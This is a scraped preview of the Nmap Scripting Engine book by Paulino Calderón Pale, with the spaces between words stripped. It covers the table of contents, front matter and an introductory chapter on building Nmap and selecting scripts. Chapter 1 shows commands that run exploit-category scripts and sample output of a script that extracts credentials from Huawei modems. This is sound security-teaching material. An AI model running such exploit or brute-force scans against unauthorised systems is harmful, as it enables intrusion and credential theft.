mastering the nmap scripting enginebaratev.sourceforge.net/submarine/04. mastering the nmap...

Post on 13-Nov-2020

26 Views

Category:

Documents

1 Downloads

Preview:

Click to see full reader

TRANSCRIPT

MasteringtheNmapScriptingEngine

TableofContents

MasteringtheNmapScriptingEngine

Credits

AbouttheAuthor

Acknowledgments

AbouttheReviewers

www.PacktPub.com

Supportfiles,eBooks,discountoffers,andmore

Whysubscribe?

FreeaccessforPacktaccountholders

Preface

Whatthisbookcovers

Whatyouneedforthisbook

Whothisbookisfor

Conventions

Readerfeedback

Customersupport

Downloadingtheexamplecode

Errata

Piracy

Questions

1.IntroductiontotheNmapScriptingEngine

InstallingNmap

BuildingNmapfromsourcecode

KeepingNmapuptodate

RunningNSEscripts

Scriptcategories

NSEscriptselection

Selectingbyscriptnameorcategory

Selectingbyfilenameorfolder

Advancedscriptselectionwithexpressions

NSEscriptarguments

Loadingscriptargumentsfromafile

ForcingtheexecutionofNSEscripts

DebuggingNSEscripts

ScanphasesandNSE

NSEscriptrules

ApplicationsofNSEscripts

Information-gathering

CollectingUPNPinformation

FindingallhostnamesresolvingtothesameIPaddress

Advancedhostdiscovery

Discoveringhostswithbroadcastpings

ListeningtoyourLANtodiscovertargets

Passwordauditing

Brute-forcingMySQLpasswords

Brute-forcingSMTPpasswords

Vulnerabilityscanning

DetectinginsecureMySQLserverconfigurations

Detectingwebserversvulnerabletoslowdenial-of-serviceattacks

DetectingSSLserversvulnerabletoCVE-2014-3566

Settingupadevelopmentenvironment

HalcyonIDE

Addingnewscripts

Summary

2.LuaFundamentals

QuicknotesaboutLua

Comments

Dummyassignments

Indexes

Semantics

Coercion

Safelanguage

Booleans

Flowcontrolstructures

Conditionalstatements–if-then,else,andelseif

Loops–while

Loops–repeat

Loops–for

Datatypes

Stringhandling

Characterclasses

Magiccharacters

Patterns

Captures

Repetitionoperators

Concatenation

Findingsubstrings

Stringrepetition

Stringlength

Formattingstrings

Splittingandjoiningstrings

Commondatastructures

Tables

Arrays

Linkedlists

Sets

Queues

Customdatastructures

http-enumdatabase

http-default-accounts

I/Ooperations

Modes

Openingafile

Readingafile

Writingafile

Closingafile

Coroutines

Creatingacoroutine

Executingacoroutine

Determiningtherunningcoroutine

Gettingthestatusofacoroutine

Yieldingacoroutine

Metatablesandmetamethods

Arithmeticmetamethods

Relationalmetamethods

Summary

3.NSEDataFiles

Locatingyourdatadirectory

Datadirectorysearchorder

Usernameandpasswordlistsusedinbrute-forceattacks

Usernamedictionaries

Passworddictionaries

Webapplicationauditingdatafiles

http-fingerprints.lua

http-sql-errors.lst

http-web-files-extensions.lst

http-devframework-fingerprints.lua

http-folders.txt

vhosts-default.lst

wp-plugins.lst

DBMS-auditingdatafiles

mysql-cis.audit

oracle-default-accounts.lst

oracle-sids

JavaDebugWireProtocoldatafiles

JDWPExecCmd.java

JDWPSystemInfo.class

OtherNSEdatafiles

mygroupnames.db

rtsp-urls.txt

snmpcommunities.lst

ssl-ciphers

ssl-fingerprints

ike-fingerprints.lua

tftplist.txt

OtherNmapdatafiles

Summary

4.ExploringtheNmapScriptingEngineAPIandLibraries

UnderstandingthestructureofanNSEscript

OtherNSEscriptfields

Author

License

Dependencies

AsampleNSEscript

Exploringenvironmentvariables

AccessingtheNmapAPI

NSEarguments

Hosttable

Porttable

ExceptionhandlinginNSEscripts

TheNSEregistry

WritingNSElibraries

ExtendingthefunctionalityofanNSElibrary

NSEmodulesinC/C++

ExploringotherpopularNSElibraries

stdnse

openssl

target

shortport

creds

vulns

http

Summary

5.EnhancingVersionDetection

UnderstandingversiondetectionmodeinNSE

Phasesofversiondetection

Adjustingtheraritylevelofaversionscan

Updatingtheversionprobesdatabase

Takingacloserlookatthefileformat

Excludingscannedportsfromversiondetection

Usingfallbackstomatchotherversionprobes

Gettingtoknowpost-processors

NmapScriptingEngine

SSL

Writingyourownversiondetectionscripts

Definingthecategoryofaversiondetectionscript

Definingtheportruleofaversiondetectionscript

Updatingtheportversioninformation

Settingthematchconfidencelevel

Examplesofversiondetectionscripts

NSEscript–modbus-discover

NSEscript–ventrilo-info

NSEscript–rpc-grind

Summary

6.DevelopingBrute-forcePassword-auditingScripts

WorkingwiththebruteNSElibrary

Selectingabrutemode

ImplementingtheDriverclass

Passinglibraryanduseroptions

ReturningvalidaccountsviaAccountobjects

HandlingexecutionerrorsgracefullywiththeErrorclass

ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary

Managingusercredentialsfoundduringscans

WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI

Summary

7.FormattingtheScriptOutput

OutputformatsandNmapScriptingEngine

XMLstructuredoutput

Implementingstructuredoutputinyourscripts

Printingverbositymessages

Includingdebugginginformation

Theweaknessofthegrepableformat

NSEscriptoutputintheHTMLreport

Summary

8.WorkingwithNetworkSocketsandBinaryData

WorkingwithNSEsockets

CreatinganNSEsocket

ConnectingtoahostusingNSEsockets

SendingdatausingNSEsockets

ReceivingdatausingNSEsockets

ClosingNSEsockets

Examplescript–sendingapayloadstoredinafileoveraNSEsocket

UnderstandingadvancednetworkI/O

Openingasocketforrawpacketcapture

Receivingrawpackets

Sendingpacketsto/fromIPandEthernetlayers

Manipulatingrawpackets

Packingandunpackingbinarydata

BuildingEthernetframes

RawpackethandlingandNSEsockets

Summary

9.Parallelism

ParallelismoptionsinNmap

Scanningmultiplehostssimultaneously

Increasingthenumberofprobessent

Timingtemplates

ParallelismmechanismsinLua

Coroutines

Workingwithcoroutines

ParallelismmechanismsinNSE

NSEthreads

Conditionvariables

Mutexes

ConsumingTCPconnectionswithNSE

Summary

10.VulnerabilityDetectionandExploitation

Vulnerabilityscanning

TheexploitNSEcategory

ExploitingRealVNC

DetectingvulnerableWindowssystems

Exploitingtheinfamousheartbleedvulnerability

Exploitingshellshockinwebapplications

Reportingvulnerabilities

UsingthevulnslibraryinyourNSEscripts

Summary

A.ScanPhases

B.NSEScriptTemplate

Othertemplatesonline

C.ScriptCategories

D.NmapOptionsMindMap

E.References

Index

MasteringtheNmapScriptingEngine

MasteringtheNmapScriptingEngineCopyright©2015PacktPublishing

Allrightsreserved.Nopartofthisbookmaybereproduced,storedinaretrievalsystem,ortransmittedinanyformorbyanymeans,withoutthepriorwrittenpermissionofthepublisher,exceptinthecaseofbriefquotationsembeddedincriticalarticlesorreviews.

Everyefforthasbeenmadeinthepreparationofthisbooktoensuretheaccuracyoftheinformationpresented.However,theinformationcontainedinthisbookissoldwithoutwarranty,eitherexpressorimplied.Neithertheauthor,norPacktPublishing,anditsdealersanddistributorswillbeheldliableforanydamagescausedorallegedtobecauseddirectlyorindirectlybythisbook.

PacktPublishinghasendeavoredtoprovidetrademarkinformationaboutallofthecompaniesandproductsmentionedinthisbookbytheappropriateuseofcapitals.However,PacktPublishingcannotguaranteetheaccuracyofthisinformation.

Firstpublished:February2015

Productionreference:1110215

PublishedbyPacktPublishingLtd.

LiveryPlace

35LiveryStreet

BirminghamB32PB,UK.

ISBN978-1-78216-831-7

www.packtpub.com

CreditsAuthor

PaulinoCalderónPale

Reviewers

FabianAffolter

PranshuBajpai

AlexeyLapitsky

CommissioningEditor

KartikeyPandey

AcquisitionEditor

ReshmaRaman

ContentDevelopmentEditor

AjinkyaParanjpe

TechnicalEditor

SebastianRodrigues

CopyEditor

VikrantPhadke

ProjectCoordinator

HarshalVed

Proofreaders

SimranBhogal

StephenCopestake

Indexer

TejalSoni

ProductionCoordinator

ShantanuN.Zagade

CoverWork

ShantanuN.Zagade

AbouttheAuthorPaulinoCalderónPale(@calderpwn)livesonaCaribbeanislandinMexicocalledCozumel.HeisthecofounderofWebsec,acompanyofferinginformationsecurityconsultingservicesinMexicoandCanada.HelearnedhowtoprogramandadministerITinfrastructuresearlyinhislife,andtheseskillscameinhandywhenhejoinedtheinformationsecurityindustry.Today,heloveslearningaboutnewtechnologiesandpenetrationtesting,conductingdatagatheringexperiments,anddevelopingsoftware.HealsolovestoattendtechnologyeventsandhasgivenspeechesandheldworkshopsatoveradozenoftheminCanada,theUnitedStates,Mexico,andColombia.

Inthesummerof2011,PaulinojoinedGoogle’sSummerofCodeeventtoworkontheNmapprojectasanNSEdeveloper.HefocusedonimprovingthewebscanningcapabilitiesofNmapandhaskeptoncontributingtotheprojectsincethen.

AcknowledgmentsAsalways,IwouldliketodedicatethisbooktoalotofspecialpeoplewhohavehelpedmegetwhereIam.

SpecialthankstoFyodorformentoringmeduringGoogle’sSummerofCodeandgivingmetheopportunitytojointheNmapproject.

Abigthankstothedevelopmentteam:DavidFifield,RonBowes,PatrikKarlsson,TomSellers,PatrickDonelly,DanielMiller,BrendanColes,HenriDoreau,ToniRoutto,DjalalHarouni,VlatkoKosturjak,KrisKatterjohn,MartinHolstSwende,JacekWielemborek,andLuisMartin,fromwhomIhavelearnedalot.

Specialthankstomyfather,Dr.PaulinoCalderónMedina,whoisnolongerwithusbutwillbegreatlymissed.Thankstomymother,Edith,andbrothers,YaelandOmar,whohavealwaysbeensupportiveandgivennothingbutlove.

AbigthanksgoestoMarthaMoguel,withoutwhomthisbookwouldhavebeenbetterwhileeverythingelsewouldhavebeenworse.Thankyouforalwaysbeingthereforme.Iwillalwaysloveyou.

SpecialthankstotherestoftheWebsecninjas:Lenin“Alevsk”Huerta,Luis“Sinnet”Colunga,Luis“Kazcinski”Ramirez,Roberto“LightOS”Salgado,andPedro“Hkm”Joaquin.

AbigthankstomyfriendsfromUSA,Colombia,Mexico,Cozumel,andCanada.Itisimpossibletolistallofyou,butknowthatIappreciateallyourloveandsupport.Youarealwaysinmyheart.

Greetingstomyb33rconfriends:CarlosAyala,MarcosSchejtman,LuisCastañeda,DiegoBauche,andAlejandroHernandez.

AbouttheReviewersFabianAffolterisananalystandsystemengineer.Hebeganhisprofessionalcareerinthemechanicalsector,wherehegotacquaintedwithcomputer-aideddesign.Duringhisstudies,hebecameinterestedinmicrocontrollersandindustrialbuscontrolsystems.Today,hisfocusisoninformationsecurity,networksecurity,configurationmanagement,andprovisioning.Fabianisalong-timecontributortovariousopensourceprojects,especiallytheFedoraprojectandAlpineLinux.HeisalsooneofthemaintainersoftheFedoraSecurityLabandthedeveloperoftheFedoraSecurityLab’stestbench.FabianholdsaBScinengineeringandenjoysreadingandhiking.

PranshuBajpai(MBA,MS)isasecurityresearcherwithawiderangeofinterests:penetrationtesting,computerforensics,privacy,wirelesssecurity,malwareanalysis,cryptography,Linuxdistributions,andsoon.Inthepast,hewashiredasapenetrationtesterbygovernmentbodiesandprivateorganizationstosimulateattacksonsystems,networks,andwebservers.Accordingly,hisresponsibilitiesincludedvulnerabilityresearch,exploitkitdeployment,maintainingaccess,andreporting.Pranshuhasauthoredseveralpapersininternationalsecurityjournals,andhasbeenconsistentlyhiredbytoporganizationstoformulateinformationsecuritycontent.Inhissparetime,heenjoyslisteningtoclassicrockmusicandbloggingatwww.lifeofpentester.blogspot.com.

Pranshu’se-mailIDis<bajpai.pranshu@gmail.com>,andyoucancontacthimonLinkedInathttp://in.linkedin.com/in/pranshubajpai.

Iwanttothanktheopensourcecommunityforsharingtheirknowledgewitheveryoneandhelpingallofusgrowtogether.

AlexeyLapitskyworksasasitereliabilityengineeratSpotify.Heisthefounderofhttps://realisticgroup.com/andasecuritystart-upnamedFlimb.

www.PacktPub.com

Supportfiles,eBooks,discountoffers,andmoreForsupportfilesanddownloadsrelatedtoyourbook,pleasevisitwww.PacktPub.com.

DidyouknowthatPacktofferseBookversionsofeverybookpublished,withPDFandePubfilesavailable?YoucanupgradetotheeBookversionatwww.PacktPub.comandasaprintbookcustomer,youareentitledtoadiscountontheeBookcopy.Getintouchwithusat<service@packtpub.com>formoredetails.

Atwww.PacktPub.com,youcanalsoreadacollectionoffreetechnicalarticles,signupforarangeoffreenewslettersandreceiveexclusivediscountsandoffersonPacktbooksandeBooks.

https://www2.packtpub.com/books/subscription/packtlib

DoyouneedinstantsolutionstoyourITquestions?PacktLibisPackt’sonlinedigitalbooklibrary.Here,youcansearch,access,andreadPackt’sentirelibraryofbooks.

Whysubscribe?FullysearchableacrosseverybookpublishedbyPacktCopyandpaste,print,andbookmarkcontentOndemandandaccessibleviaawebbrowser

FreeaccessforPacktaccountholdersIfyouhaveanaccountwithPacktatwww.PacktPub.com,youcanusethistoaccessPacktLibtodayandview9entirelyfreebooks.Simplyuseyourlogincredentialsforimmediateaccess.

PrefaceMasteringtheNmapScriptingEnginewilltakeyouthroughtheprocessofdevelopingLuascriptsfortheNmapScriptingEngine(NSE).TheNmapScriptingEngine’scapabilitiesareexploredthroughout10chapters.Theycoverthefundamentalconcepts,operations,andlibrariestoteachyouhowtoextendNmapscanswithcustomtasks.

TheinformationIselectedforthisbookattemptstoansweroneofthemostcommonquestionsreceivedontheNmapdevelopmentmailinglist:“HowdoIstartwritingNSEscripts?”Ihavetriedtoexplaineachoftheconceptswithexamplesandspecifictaskimplementations.Expecttoreadalotofcode!Theonlywayoftrulylearningsomethingisbypracticing,sodon’tjustskimthroughthebook;stopateachchapterandattempttowritenewNSEscripts.Ihavealsocreatedawebsite(http://www.mastering-nse.com)whereIwillpostnews,additionalcontent,andothersurprises.

IhopeyouenjoythisbookandthatithelpsyouthroughthepathofmasteringtheNmapScriptingEngine.

WhatthisbookcoversChapter1,IntroductiontotheNmapScriptingEngine,coversthefundamentalsoftheNmapScriptingEngineanditsapplications.

Chapter2,LuaFundamentals,describesthefundamentalsofLuaprogramming.

Chapter3,NSEDataFiles,coversNSEdatabasesandteachesyouhowtofine-tunethemtooptimizeresults.

Chapter4,ExploringtheNmapScriptingEngineAPIandLibraries,explorestheNmapScriptingEngineAPIandusageofthemostimportantNSElibraries.

Chapter5,EnhancingVersionDetection,explainstheNmapversiondetectionengineandNSEversionscripts.

Chapter6,DevelopingBrute-forcePassword-auditingScripts,describestheprocessofimplementingtheBruteclasstocreaterobustbrute-forcepassword-auditingscripts.

Chapter7,FormattingtheScriptOutput,coversthedifferentoutputmodesinNmapandNSE.

Chapter8,WorkingwithNetworkSocketsandBinaryData,teachesyouallthetopicsrelatedtonetworkI/Ooperationsandhandlingbinarydata.

Chapter9,Parallelism,introducestheconceptsofparallelismandcollaborativemultitaskinginLuaandtheNmapScriptingEngine.

Chapter10,VulnerabilityDetectionandExploitation,coversvulnerabilityexploitationwiththeNmapScriptingEngine.

AppendixA,ScanPhases,explainsthedifferentphasesofanNmapscan.

AppendixB,NSEScriptTemplate,coverstherequiredfieldsandstructureofanNSEscript.

AppendixC,ScriptCategories,demonstratestheavailableNSEcategories.

AppendixD,NmapOptionsMindMap,illustratesalltheavailableoptionsinNmapusingamindmap.

AppendixE,References,includesallthereferencesofthisbookandlinksforadditionalreading.

WhatyouneedforthisbookYouwillneedarecentcopyofNmap(6.x)tofollowtheexamplesofthisbook.RefertoChapter1,IntroductiontotheNmapScriptingEngine,forinstallationinstructions.

ForChapter2,LuaFundamentals,youmightalsoneedaLuainterpreterinstalledonyoursystem.

WhothisbookisforThisbookisaimedatanyonelookingtomastertheNmapScriptingEngineandtheartofdevelopingNSEscripts.Itisperfectfornetworkadministrators,informationsecurityprofessionals,andevenInternetenthusiastswhoarefamiliarwithNmapbutknowthattheyaremissingoutonsomeoftheamazingfeaturesoftheNmapScriptingEngine.ThisbookwillgivereaderstheabilitynotonlytoworkwiththeNmapScriptingEnginebutalsotoextendthecapabilitiesofNmapbydevelopingcustomNSEscripts.

ConventionsInthisbook,youwillfindanumberoftextstylesthatdistinguishbetweendifferentkindsofinformation.Herearesomeexamplesofthesestylesandexplanationsoftheirmeanings.

Codewordsintext,databasetablenames,foldernames,filenames,fileextensions,pathnames,dummyURLs,userinput,andTwitterhandlesareshownasfollows:“GotothenmapdirectorythatwasjustcreatedbySubversion.”

Ablockofcodeissetasfollows:

Driver={

new=function(self,host,port,options)

localo={}

setmetatable(o,self)

self.__index=self

o.options=options

returno

end

Whenwewishtodrawyourattentiontoaparticularpartofacodeblock,therelevantlinesoritemsaresetinbold:

staticconstluaL_Reglibs[]={

{NSE_PCRELIBNAME,luaopen_pcrelib},

{NSE_NMAPLIBNAME,luaopen_nmap},

{NSE_BINLIBNAME,luaopen_binlib},

{BITLIBNAME,luaopen_bit},

{TESTLIBNAME,luaopen_test},

{LFSLIBNAME,luaopen_lfs},

{LPEGLIBNAME,luaopen_lpeg},

#ifdefHAVE_OPENSSL

{OPENSSLLIBNAME,luaopen_openssl},

#endif

{NULL,NULL}

};

Anycommand-lineinputoroutputiswrittenasfollows:

#$nmap--scriptbrute--script-argsbrute.delay=3<target>

Newtermsandimportantwordsareshowninbold.Wordsthatyouseeonthescreen,forexample,inmenusordialogboxes,appearinthetextlikethis:“Ifversiondetectionisenabled,thetableofresultswillcontaintheadditionalVERSIONcolumn.”

NoteWarningsorimportantnotesappearinaboxlikethis.

TipTipsandtricksappearlikethis.

ReaderfeedbackFeedbackfromourreadersisalwayswelcome.Letusknowwhatyouthinkaboutthisbook—whatyoulikedordisliked.Readerfeedbackisimportantforusasithelpsusdeveloptitlesthatyouwillreallygetthemostoutof.

Tosendusgeneralfeedback,simplye-mail<feedback@packtpub.com>,andmentionthebook’stitleinthesubjectofyourmessage.

Ifthereisatopicthatyouhaveexpertiseinandyouareinterestedineitherwritingorcontributingtoabook,seeourauthorguideatwww.packtpub.com/authors.

CustomersupportNowthatyouaretheproudownerofaPacktbook,wehaveanumberofthingstohelpyoutogetthemostfromyourpurchase.

DownloadingtheexamplecodeYoucandownloadtheexamplecodefilesfromyouraccountathttp://www.packtpub.comforallthePacktPublishingbooksyouhavepurchased.Ifyoupurchasedthisbookelsewhere,youcanvisithttp://www.packtpub.com/supportandregistertohavethefilese-maileddirectlytoyou.

ErrataAlthoughwehavetakeneverycaretoensuretheaccuracyofourcontent,mistakesdohappen.Ifyoufindamistakeinoneofourbooks—maybeamistakeinthetextorthecode—wewouldbegratefulifyoucouldreportthistous.Bydoingso,youcansaveotherreadersfromfrustrationandhelpusimprovesubsequentversionsofthisbook.Ifyoufindanyerrata,pleasereportthembyvisitinghttp://www.packtpub.com/submit-errata,selectingyourbook,clickingontheErrataSubmissionFormlink,andenteringthedetailsofyourerrata.Onceyourerrataareverified,yoursubmissionwillbeacceptedandtheerratawillbeuploadedtoourwebsiteoraddedtoanylistofexistingerrataundertheErratasectionofthattitle.

Toviewthepreviouslysubmittederrata,gotohttps://www.packtpub.com/books/content/supportandenterthenameofthebookinthesearchfield.TherequiredinformationwillappearundertheErratasection.

PiracyPiracyofcopyrightedmaterialontheInternetisanongoingproblemacrossallmedia.AtPackt,wetaketheprotectionofourcopyrightandlicensesveryseriously.IfyoucomeacrossanyillegalcopiesofourworksinanyformontheInternet,pleaseprovideuswiththelocationaddressorwebsitenameimmediatelysothatwecanpursuearemedy.

Pleasecontactusat<copyright@packtpub.com>withalinktothesuspectedpiratedmaterial.

Weappreciateyourhelpinprotectingourauthorsandourabilitytobringyouvaluablecontent.

QuestionsIfyouhaveaproblemwithanyaspectofthisbook,youcancontactusat<questions@packtpub.com>,andwewilldoourbesttoaddresstheproblem.

Chapter1.IntroductiontotheNmapScriptingEngineTheNmapScriptingEngine(NSE)revolutionizedthecapabilitiesofNmap.ItwasintroducedduringGoogle’sSummerofCodein2007,andithasbecomeanarsenalbyitselfwithalmost500officialscripts.Althoughthefirstscriptswereaimedatimprovingserviceandhostdetection,peoplequicklystartedsubmittingscriptsforothertasks.Today,thereare14categoriescoveringabroadrangeoftasks,fromnetworkdiscoverytodetectionandexploitationofsecurityvulnerabilities.YoucanuseNSEscriptstobrute-forceaccountswithweakpasswords,findonlinehostswithdifferentbroadcastrequests,sniffthenetwork,discoverforgottenbackupfilesinwebservers,detectthelatestSSL3.0vulnerabilityknownasPoodle,andevenexploitvulnerabilitiesinpopularsoftware.

Thescriptcollectiongrowsrapidly,soIrecommendstayingup-to-datebysubscribingtotheNmapDevelopmentmailinglist,locatedathttp://nmap.org/mailman/listinfo/dev.Nmap’scommunityisveryactive,soIencourageyoutoalwayskeepanupdatedcopyamongyourpenetrationtestingtools.

NSEscriptsaregreatfordraftingproof-of-conceptcodesincethemodulesarewritteninLua,asimpleyetpowerfullanguage.ItallowsustoquicklyprogramanytaskwehaveinmindwiththehelpoftheavailableNSElibraries.Itsflexiblesyntaxiseasytolearn,andI’msureyouwillfindyourselflovingitafterexperimentingwithitforaday.

ThischapterwillintroduceyoutoNSE,coveringseveraltopicsfrominstallationanddevelopmentenvironmentsetuptoadvancedusagetips.Ifyouarefamiliarwiththefollowingtopics,youmayskipthischapter:

BuildingNmapfromsourcecodeRunningNSEscriptsPassingargumentstoNSEscriptsScanningphasesNSEapplicationsSettingupadevelopmentenvironment

IfyouarenotfamiliarwithNSEalready,thischapterwillgetyoupreparedforwhatiscominginthenextchapters.Forthosewithsomeexperience,IstillrecommendgoingthroughthischapterasI’mincludingadvancedtipsrelatedtoscriptselectionandusage.Fireupyourterminalsandlet’sgettowork.

InstallingNmapNmapbinariesforallmajorplatformscanbefoundattheofficialwebsite,athttp://nmap.org/download.html.Alotofdistributionsalsoofferofficialpackages.However,ifyouwantthelatestfeaturesandNSEscripts,youneedtoworkwiththedevelopmentbranch.Thecodeinthisbranchismorestablethanthenameimplies,asthedevelopersmakesuretheircodeisworkingbeforesubmittingittothisbranch.Byalwaysrunningacopyfromthedevelopmentbranch,youalsoalwayshavethelatestbugfixes.

BuildingNmapfromsourcecodeNmapusesSubversion,thefamousVersionControlSystem(VCS),tomanagethesourcecodeoftheproject.First,makesureyouhaveaSubversionclientathand:

$svn--version

OnDebian-basedsystems,youcaninstallSubversionbyrunningthefollowingcommand:

#apt-getinstallsubversion

NoteAgoodalternativetoSubversionisRapidSVN,across-platformSubversionclientwithaGraphicalUserInterface.YoucangetRapidSVNfromhttp://rapidsvn.tigris.org/.

OncetheSubversionclientisinstalled,wegrabthedevelopmentbranchfromtheofficialrepositorieswiththefollowingcommand:

$svncohttps://svn.nmap.org/nmap

Theprecedingcommanddownloadsthelatestrevisionofthedevelopmentbranchintoanewdirectoryinyourcurrentdirectory.Wewillrefertothisfolderasyourworkingcopy.Beforecompiling,youmayneedadditionaltoolsandlibrariessuchasOpenSSL.Makesureyouhavealltherequirementsinstalledbyrunningthefollowingcommand:

#apt-getinstallmakeg++libssl-devautoconf

NowwecancompileandinstallNmap.GotothenmapdirectorythatwasjustcreatedbySubversionandenterthefollowingcommand:

$./configure

Ifeverythingworkedcorrectly,youshouldseeanASCIIdragonwarningyouaboutthepowerofNmap,likethis:

Nowlet’scompileNmapwiththefollowingcommands:

$make

#makeinstall

TipInBSDsystems,rungmakeinsteadofmake.

NowrunNmaptoensurethatitwasinstalledcorrectly.Youshouldseeyourbuildinformation:

#nmap-v

Nmapversion6.47SVN(http://nmap.org)

Platform:x86_64-apple-darwin14.0.0

Compiledwith:nmap-liblua-5.2.3openssl-0.9.8zanmap-libpcre-7.6libpcap-

1.5.3nmap-libdnet-1.12ipv6

Compiledwithout:

Availablensockengines:kqueuepollselect

KeepingNmapuptodateToupdateyourworkingcopy,usethefollowingcommandinsideyourworkingdirectory:

$svnup

Onceyourworkingcopyissynchronizedwiththeremoterepository,weneedtorebuildNmap:

$make

NoteInBSDsystems,rungmake.

Againtoinstallthebinariesanddatafilesinthesystem,usethiscommand:

#makeinstall

RunningNSEscriptsNSEwasdesignedwithflexibilityinmind,andsupportsseveralfeaturestocontroltheexecutionofNSEscripts.Inthischapter,wewilllearnnotonlythatNSEscriptscanbeexecutedduringdifferentscanphasesbutalsothattheycanbeselectedwithahighlevelofgranularity,dependingonhostconditions.Incombinationwithrobustlibrariesandplentyofconfigurationoptions,NSEoffersalevelofflexibilitythatishardtomatchinothertoolsandframeworks.

WecanbegintestingNSEagainstthehost,scanme.nmap.org.ThisserverismanagedbytheNmapprojectandallowsuserstoscanitaslongasthescansarenottoointrusive.Let’sbeginbyrunningascanwithversiondetectionandNSEenabledagainstourtesttarget—scanme.nmap.org:

#nmap–sV–sC-Oscanme.nmap.org

Youshouldseesomethingsimilartothis:

ThepreviouscommandranaSYNscanwithOSdetection(-O),servicedetection(-sV),andmostimportantlywithNSEon(-sC).The-sCoptionenablestheNSEandrunsanyscriptinthedefaultcategory.Thissetofscriptsisconsideredsafeasitwon’tperformanyoperationsthatcouldinterferewithaservicerunningonthetargethost.However,notethatsomeofthescriptsperformactionsthatcanraisealarmsinintrusiondetectionsystems(IDS)andintrusionpreventionsystems(IPS).

NoteAnunprivilegedscancan’taccessrawsockets,whichgenerallyresultsinaslowerscan.However,theSYNscanisthedefaulttypeofscanexecutedwhenNmaprunsinprivilegedmode.

Thesafecategorycontainsscriptssuchasthese:

banner:ThisprintstheresponseofaTCPconnectiontoanopenportbroadcast-ping:Thisdiscovershostswithbroadcastpings

dns-recursion:ThisdetectsDNSserversthatallowrecursionthatmaybeusedinDNSamplificationattacksupnp-info:Thisextractsinformationfromtheupnpservicefirewalk:ThisattemptstodiscoverfirewallsusinganIPTTLexpirationtechnique

Thepreviouslymentionedscriptsareonlyafewcomparedtothecurrenttotalofalmost500.That’sawholelotmoreofinformationthatcanbecollectedbysimplyusingNSE.

ScriptcategoriesThecollectionofNSEscriptsisdividedintothefollowingcategories:

Scriptcategory Description

auth NSEscriptsrelatedtouserauthentication.

broadcast Averyinterestingcategoryofscriptsthatusebroadcastpetitionstogathernetworkinformation.

brute Acategoryforscriptsthathelpconductbrute-forcepasswordauditing.

default Scriptsexecutedwhenascriptscanisexecuted(-sC).

discovery Scriptsrelatedtohostandservicediscovery.

dos Scriptsrelatedtodenial-of-serviceattacks.

exploit Scriptsusedtoexploitsecurityvulnerabilities.

external Thiscategoryisforscriptsdependingonathird-partyservice.

fuzzer NSEscriptsfocusedonfuzzing.

intrusiveAcategoryforscriptsthatmightcrashsomethingorgeneratealotofnetworknoise.Scriptsthatsystemadministratorsmayconsiderintrusivegohere.

malware Acategoryforscriptsrelatedtomalwaredetection.

safe Scriptsthatareconsideredsafeinallsituations.

version Scriptsforadvancedversiondetection.

vuln Scriptsrelatedtodetectingandexploitingsecurityvulnerabilities.

NSEscriptselectionNmapsupportsthe--scriptoptionforscriptselection.Thisoptioncantakeascriptname,NSEcategory,apathtoaNSEfile,afoldercontainingscripts,orevenanexpression.Expressionsallowincredibleflexibilitywhenselectingscripts,aswewillseeinthefollowingsections.

SelectingbyscriptnameorcategoryYoucanexecutescriptsbytheirnameusingthe--scriptNmapoption.Executeseveralscriptsatoncebyseparatingthemwithacomma:

nmap--scripthttp-title<target>

nmap-p80--scripthttp-huawei-hg5xx-vuln<target>

nmap--scripthttp-title,http-methods<target>

Thefollowingscreenshotshowstheoutputofthehttp-huawei-hg5xx-vulnscript.ThisscriptexploitsaremotevulnerabilityinHuaweidevicestoretrievesensitiveinformation,whichincludesthePPPoEcredentialsandthewirelesssecurityconfiguration:

PORTSTATESERVICEVERSION

80/tcpopenhttpHuaweiaDSLmodemEchoLifeHG530(V100R001B122gTelmex)

4.07—UPnP/1.0(ZyXELZyWALL2)

|http-huawei-hg5xx-vuln:

|VULNERABLE:

|RemotecredentialandinformationdisclosureinmodemsHuaweiHG5XX

|State:VULNERABLE(Exploitable)

|Description:

|ModemsHuawei530x,520xandpossiblyothersarevulnerableto

remotecredentialandinformationdisclosure.

|AttackerscanquerytheURIs"/Listadeparametros.html"and

"/wanfun.js"toextractsensitiveinformation

|includingPPPoEcredentials,firmwareversion,model,gateway,dns

serversandactiveconnectionsamongothervalues

|Disclosuredate:2011-01-1

|Extrainformation:

|

|Model:EchoLifeHG530

|Firmwareversion:V100R001B122gTelmex

|ExternalIP:xxx.xxx.xx.xxx

|GatewayIP:xxx.xx.xxx.xxx

|DNS1:200.33.146.249

|DNS2:200.33.146.241

|Networksegment:192.168.1.0

|Activeethernetconnections:0

|Activewirelessconnections:3

|BSSID:0xdeadbeefcafe

|WirelessEncryption(Boolean):1

|PPPoEusername:xxx

|PPPoEpassword:xxx

|References:

|http://routerpwn.com/#huawei

|_http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-

information-disclosure

Toselectawholecategory,simplyusethenameofthecategory(seetheScriptcategoriessection)astheargument.Forexample,toruntheexploitcategory,usethefollowingcommand:

nmap--scriptexploit<target>

Youcanalsorunseveralcategoriesbyseparatingthemwithacomma:

nmap--scriptdiscovery,intrusive<target>

NoteThe-sCoptionismerelyanaliasofthe--scriptdefaultoption.

SelectingbyfilenameorfolderToexecuteaNSEscriptfile,usethiscommand:

nmap--script/path/to/script.nse<target>

Similarlywithcategories,youcanexecuteseveralscriptsbyseparatingthepathswithacomma:

nmap--script/path/to/script.nse,/another/path/script2.nse<target>

Toexecuteallthescriptscontainedinafolder,youonlyneedtopassthefoldernameasanargument:

nmap--script/path/to/folder/<target>

nmap--script/custom-nse-scripts/scanme.nmap.org

TipKeepinmindthatthe--scriptoptionacceptsrelativeandabsolutepathstoscriptsandfolders.Besidesthecurrentdirectory,relativepathscanbelookedforinthefollowingdirectories:

--datadir

$NMAPDIR

~/.nmap

%HOMEPATH%\AppData\Roaming\nmap

ThedirectorycontainingnmapThedirectorycontainingnmapfollowedbythisrelativepath:../share/nmapNMAPDATADIR

AdvancedscriptselectionwithexpressionsExpressionsareusedtodescribeasetofscripts.Let’sgothroughthedifferentscenarioswherewecantakeadvantageofscriptselectionwithexpressions:

Forexample,thenotexploitexpressionwillmatchanyscriptthatdoesnotbelongtotheexploitcategory:

#nmap-sV--script"notexploit"<target>

Theorandandoperatorsallowustoconstructmorecomplexexpressions.Thefollowingexpressionwillmatchanyscriptthatisnotintheintrusive,dos,orexploitcategories:

#nmap--script"not(intrusiveordosorexploit)"-sV<target>

Ifwewouldliketoexecuteallscriptsinthebroadcastanddiscoverycategories,weusethis:

